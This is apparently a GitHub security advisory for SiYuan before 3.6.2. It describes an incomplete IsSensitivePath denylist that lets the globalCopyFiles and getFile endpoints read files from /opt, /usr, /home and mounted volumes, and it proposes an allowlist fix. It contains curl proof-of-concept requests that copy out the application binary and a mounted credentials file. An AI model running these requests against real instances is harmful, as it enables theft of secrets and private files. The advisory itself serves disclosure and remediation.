Title

SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home

Summary

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. Version 3.6.2 contains an updated fix.

Severity ?

6.8 (Medium)

Vulnerability from github – Published: 2026-03-18 20:10 – Updated: 2026-03-25 18:12

Summary

SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)

Details

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

prefixes := []string{
    "/.",       // dotfiles
    "/etc",     // system config
    "/root",    // root home
    "/var",     // variable data
    "/proc",    // process info
    "/sys",     // sysfs
    "/run",     // runtime data
    "/bin",     // binaries
    "/boot",    // boot files
    "/dev",     // devices
    "/lib",     // libraries
    "/srv",     // service data
    "/tmp",     // temp files
}

NOT blocked: - /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself. - /usr — contains /usr/local/etc, /usr/local/share, custom configs - /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - /mnt, /media — mounted volumes, network shares, often containing secrets - /snap — snap package data - /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

if util.IsSensitivePath(absSrc) {
    // reject
    continue
}
// File is copied into workspace — then readable via /api/file/getFile

PoC

# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"path":"data/assets/SiYuan-Kernel"}'

# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path
In Docker deployments: read application source code, configs, mounted secrets
The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

func IsSensitivePath(p string) bool {
    absPath := filepath.Clean(p)

    // Allowlist: only workspace and configured safe directories
    if strings.HasPrefix(absPath, WorkspaceDir) {
        // Block workspace-internal sensitive paths (conf/)
        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
            return true
        }
        return false
    }

    // Everything outside workspace is sensitive by default
    return true
}

Severity ?

6.8 (Medium)

  "details": "## Summary\n\nThe `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.\n\n## Details\n\nCurrent denylist in `kernel/util/path.go:391-405`:\n\n```go\nprefixes := []string{\n    \"/.\",       // dotfiles\n    \"/etc\",     // system config\n    \"/root\",    // root home\n    \"/var\",     // variable data\n    \"/proc\",    // process info\n    \"/sys\",     // sysfs\n    \"/run\",     // runtime data\n    \"/bin\",     // binaries\n    \"/boot\",    // boot files\n    \"/dev\",     // devices\n    \"/lib\",     // libraries\n    \"/srv\",     // service data\n    \"/tmp\",     // temp files\n}\n```\n\n**NOT blocked:**\n- `/opt` \u2014 commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.\n- `/usr` \u2014 contains `/usr/local/etc`, `/usr/local/share`, custom configs\n- `/home` \u2014 other users\u0027 home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users\u0027 homes are accessible)\n- `/mnt`, `/media` \u2014 mounted volumes, network shares, often containing secrets\n- `/snap` \u2014 snap package data\n- `/sbin`, `/lib64` \u2014 system binaries/libraries\n\nThe `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:\n\n```go\nif util.IsSensitivePath(absSrc) {\n    // reject\n    continue\n}\n// File is copied into workspace \u2014 then readable via /api/file/getFile\n```\n\n## PoC\n\n```bash\n# Read SiYuan\u0027s own application files from /opt (Docker deployment)\ncurl -s \u0027http://127.0.0.1:6806/api/file/globalCopyFiles\u0027 \\\n  -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"srcs\":[\"/opt/siyuan/kernel/SiYuan-Kernel\"],\"destDir\":\"data/assets\"}\u0027\n\n# Then read the copied file from workspace\ncurl -s \u0027http://127.0.0.1:6806/api/file/getFile\u0027 \\\n  -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"path\":\"data/assets/SiYuan-Kernel\"}\u0027\n\n# Read files from mounted volumes\ncurl -s \u0027http://127.0.0.1:6806/api/file/globalCopyFiles\u0027 \\\n  -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"srcs\":[\"/mnt/secrets/credentials.json\"],\"destDir\":\"data/assets\"}\u0027\n```\n\n## Impact\n\n- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path\n- In Docker deployments: read application source code, configs, mounted secrets\n- The denylist approach is fundamentally flawed \u2014 any newly added filesystem path is accessible until explicitly blocked\n\n## Recommended Fix\n\nSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:\n\n```go\nfunc IsSensitivePath(p string) bool {\n    absPath := filepath.Clean(p)\n\n    // Allowlist: only workspace and configured safe directories\n    if strings.HasPrefix(absPath, WorkspaceDir) {\n        // Block workspace-internal sensitive paths (conf/)\n        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, \"conf\")) {\n            return true\n        }\n        return false\n    }\n\n    // Everything outside workspace is sensitive by default\n    return true\n}\n```",
